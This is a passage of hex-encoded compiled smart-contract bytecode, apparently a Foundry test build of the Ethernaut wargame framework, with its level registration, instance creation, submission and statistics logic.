b938501935b82851015611ea257611e9385611dd3565b84529385019392850192611e82565b98975050505050505050565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611ee157634e487b7160e01b5f52601160045260245ffd5b92915050565b600181811c90821680611efb57607f821691505b602082108103611f1957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215611f2f575f80fd5b5051919050565b5f82611f5057634e487b7160e01b5f52601260045260245ffd5b50049056fe600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb8